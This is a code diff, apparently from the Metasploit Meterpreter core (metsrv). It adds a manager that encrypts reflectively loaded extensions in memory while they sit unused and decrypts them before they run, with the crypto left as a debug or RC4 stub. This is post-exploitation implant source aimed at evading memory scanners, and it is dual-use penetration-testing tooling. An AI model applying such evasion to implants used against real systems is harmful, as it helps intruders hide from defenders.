+#define EXTENSION_ENCRYPTION_INVALID_HANDLER_FUNCTION 1 +#define EXTENSION_ENCRYPTION_INVALID_EXTENSION_MANAGER 2 +#define EXTENSION_ENCRYPTION_EXTENSION_NOT_FOUND 3 +#define EXTENSION_ENCRYPTION_EXTENSION_NOT_ENCRYPTABLE 4 +#define EXTENSION_ENCRYPTION_DECRYPTION_ERROR 5 + + +#define ENCRYPTION_UNUSED_COOLDOWN_MS ENCRYPTION_5_MINUTES_MS + +typedef enum { + CRYPTOGRAPHIC_MANAGER_TYPE_DEBUG, + CRYPTOGRAPHIC_MANAGER_TYPE_RC4, +} CryptographicManagerType; + +typedef struct { + BOOL bEncryptable; + BOOL bEncrypted; + LPVOID lpLoc; + DWORD dwSize; + DWORD dwLastUsedTime; +} ExtensionEncryptionStatus; + +typedef struct { + BOOL bInitialized; + LPVOID lpCryptoContext; + LPCSTR lpCryptoParams; + BOOL bNeedsRefresh; + DWORD (*initialize)(LPVOID* lpCryptoContext, LPVOID lpParams); + DWORD (*encrypt)(LPVOID lpDataIn, DWORD dwDataInSize, LPVOID lpDataOut, DWORD dwDataOutSize); + DWORD (*decrypt)(LPVOID lpDataIn, DWORD dwDataInSize, LPVOID lpDataOut, DWORD dwDataOutSize); + DWORD (*refresh)(LPVOID lpCryptoContext, LPVOID lpParams); +} CryptographicManager; + +typedef struct { + CRITICAL_SECTION cs; + ExtensionEncryptionStatus* extensionStatuses[MAX_EXTENSIONS]; + DWORD dwExtensionsCount; + DWORD dwCryptoManagerType; + CryptographicManager cryptoManager; + struct { + BOOL (*add)(LPVOID lpExtensionLocation); + BOOL (*get)(LPVOID lpHandlerFunction, ExtensionEncryptionStatus** lpOutExtensionStatus); + BOOL (*remove)(ExtensionEncryptionStatus* lpStatus); + BOOL (*encrypt)(ExtensionEncryptionStatus* lpStatus); + BOOL (*decrypt)(ExtensionEncryptionStatus* lpStatus); + void (*encryptUnused)(); + }; +} ExtensionEncryptionManager; + +ExtensionEncryptionManager *GetExtensionEncryptionManager(VOID); +ExtensionEncryptionManager *InitExtensionEncryptionManager(CryptographicManagerType type, LPVOID lpCryptoParams); +BOOL extension_encryption_add(LPVOID lpExtensionLocation); +BOOL extension_encryption_get(LPVOID lpHandlerFunction, ExtensionEncryptionStatus** lpOutExtensionStatus); +BOOL extension_encryption_remove(ExtensionEncryptionStatus* lpStatus); + +BOOL extension_encryption_encrypt(ExtensionEncryptionStatus* lpStatus); +BOOL extension_encryption_decrypt(ExtensionEncryptionStatus* lpStatus); +void extension_encryption_encrypt_unused(); +DWORD extensionFindDecrypt(LPVOID lpHandlerFunction); + +#endif // _METERPRETER_METSRV_EXTENSION_ENCRYPTION_H diff --git a/c/meterpreter/source/metsrv/remote_dispatch.c b/c/meterpreter/source/metsrv/remote_dispatch.c index 30d8b2f72..5e9a8bd36 100644 --- a/c/meterpreter/source/metsrv/remote_dispatch.c +++ b/c/meterpreter/source/metsrv/remote_dispatch.c @@ -2,6 +2,7 @@ #include "common_metapi.h" #include "common_exports.h" #include "server_pivot.h" +#include "extension_encryption.h" #define GetProcAddressByOrdinal(mod, ord) GetProcAddress(mod, MAKEINTRESOURCEA(ord)) #define GetProcAddressByOrdinalR(mod, ord) GetProcAddressR(mod, MAKEINTRESOURCEA(ord)) @@ -334,6 +335,8 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet) PCHAR libraryPath; DWORD flags = 0; BOOL bLibLoadedReflectivly = FALSE; + LPVOID lpLibraryLocation = NULL; + dprintf("[LOADLIB] here 1"); Command *first = extensionCommands; @@ -390,6 +393,7 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet) else { bLibLoadedReflectivly = TRUE; + lpLibraryLocation = (LPVOID)library; } dprintf("[LOADLIB] here 9"); @@ -423,8 +427,11 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet) if ((flags & LOAD_LIBRARY_FLAG_EXTENSION) && library) { res = load_extension(library, bLibLoadedReflectivly, remote, response, first); - if (flags & LOAD_LIBRARY_EXTENSION_ENCRYPTABLE) { - dprintf("[DEBUG] This extension can be encrypted!"); + if (flags & LOAD_LIBRARY_EXTENSION_ENCRYPTABLE && bLibLoadedReflectivly) { + ExtensionEncryptionManager* encryptionManager = GetExtensionEncryptionManager(); + if(encryptionManager) { + encryptionManager->add(lpLibraryLocation); + } } } diff --git a/c/meterpreter/source/metsrv/scheduler.c b/c/meterpreter/source/metsrv/scheduler.c index 25f02dc4f..1b2651e22 100644 --- a/c/meterpreter/source/metsrv/scheduler.c +++ b/c/meterpreter/source/metsrv/scheduler.c @@ -1,4 +1,5 @@ #include "metsrv.h" +#include "extension_encryption.h" #ifndef _WIN32 #include @@ -251,6 +252,8 @@ DWORD THREADCALL scheduler_waitable_thread( THREAD * thread ) BOOL terminate = FALSE; UINT signalIndex = 0; + DWORD extensionFindDecryptValue = ERROR_SUCCESS; + if( thread == NULL ) return ERROR_INVALID_HANDLE; @@ -293,6 +296,13 @@ DWORD THREADCALL scheduler_waitable_thread( THREAD * thread ) dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled to resume...", thread ); case 2: //dprintf( "[SCHEDULER] scheduler_waitable_thread( 0x%08X ), signaled on waitable...", thread ); + dprintf("[SCHEDULER] scheduler_waitable_thread( 0x%08X ), calling extensionFindDecrypt"); + extensionFindDecryptValue = extensionFindDecrypt(entry->routine); + if (extensionFindDecryptValue && extensionFindDecryptValue != EXTENSION_ENCRYPTION_EXTENSION_NOT_ENCRYPTABLE) { + dprintf("[SCHEDULER] scheduler_waitable_thread ( 0x%08X ), decryption of the extension failed"); + break; + } + dprintf("[SCHEDULER] scheduler_waitable_thread ( 0x%08X ), the extension is decrypted successfully!"); entry->routine( entry->remote, entry->context, thread->parameter2 ); break; default: diff --git a/c/meterpreter/source/metsrv/server_setup.c b/c/meterpreter/source/metsrv/server_setup.c index db73ab4d3..1eb9980f2 100644 --- a/c/meterpreter/source/metsrv/server_setup.c +++ b/c/meterpreter/source/metsrv/server_setup.c @@ -9,6 +9,7 @@ #include "server_transport_tcp.h" #include "server_transport_named_pipe.h" #include "packet_encryption.h" +#include "extension_encryption.h" extern Command* extensionCommands; @@ -73,6 +74,10 @@ LPBYTE load_stageless_extensions(Remote* remote, MetsrvExtension* stagelessExten dprintf("[SERVER] Extension located at 0x%p: %u bytes", stagelessExtensions->dll, stagelessExtensions->size); HMODULE hLibrary = LoadLibraryR(stagelessExtensions->dll, stagelessExtensions->size, MAKEINTRESOURCEA(EXPORT_REFLECTIVELOADER)); load_extension(hLibrary, TRUE, remote, NULL, extensionCommands); + // ExtensionEncryptionManager* encryptionManager = GetExtensionEncryptionManager(); + // if(encryptionManager != NULL) { + // encryptionManager->add(stagelessExtensions->dll, stagelessExtensions->size); + // } stagelessExtensions = (MetsrvExtension*)((LPBYTE)stagelessExtensions->dll + stagelessExtensions->size); } @@ -393,7 +398,13 @@ DWORD server_setup(MetsrvConfig* config) dprintf("[SERVER] Registering dispatch routines..."); register_dispatch_routines(); - + + ExtensionEncryptionManager* encryptionManager = InitExtensionEncryptionManager(CRYPTOGRAPHIC_MANAGER_TYPE_DEBUG, NULL); + if(encryptionManager == NULL) { + dprintf("[SERVER] Extension Encryption Manager Initialization failed, aborting!"); + break; + } + // this has to be done after dispatch routine are registered LPBYTE configEnd = load_stageless_extensions(remote, (MetsrvExtension*)((LPBYTE)config->transports + transportSize)); diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj b/c/meterpreter/workspace/metsrv/metsrv.vcxproj index 44f2c7c2e..eb13eabae 100644 --- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj +++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj @@ -571,6 +571,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" + @@ -603,6 +604,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\" + diff --git a/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters b/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters index 4fea91254..af98b55a4 100644 --- a/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters +++ b/c/meterpreter/workspace/metsrv/metsrv.vcxproj.filters @@ -29,6 +29,7 @@ + @@ -61,6 +62,7 @@ +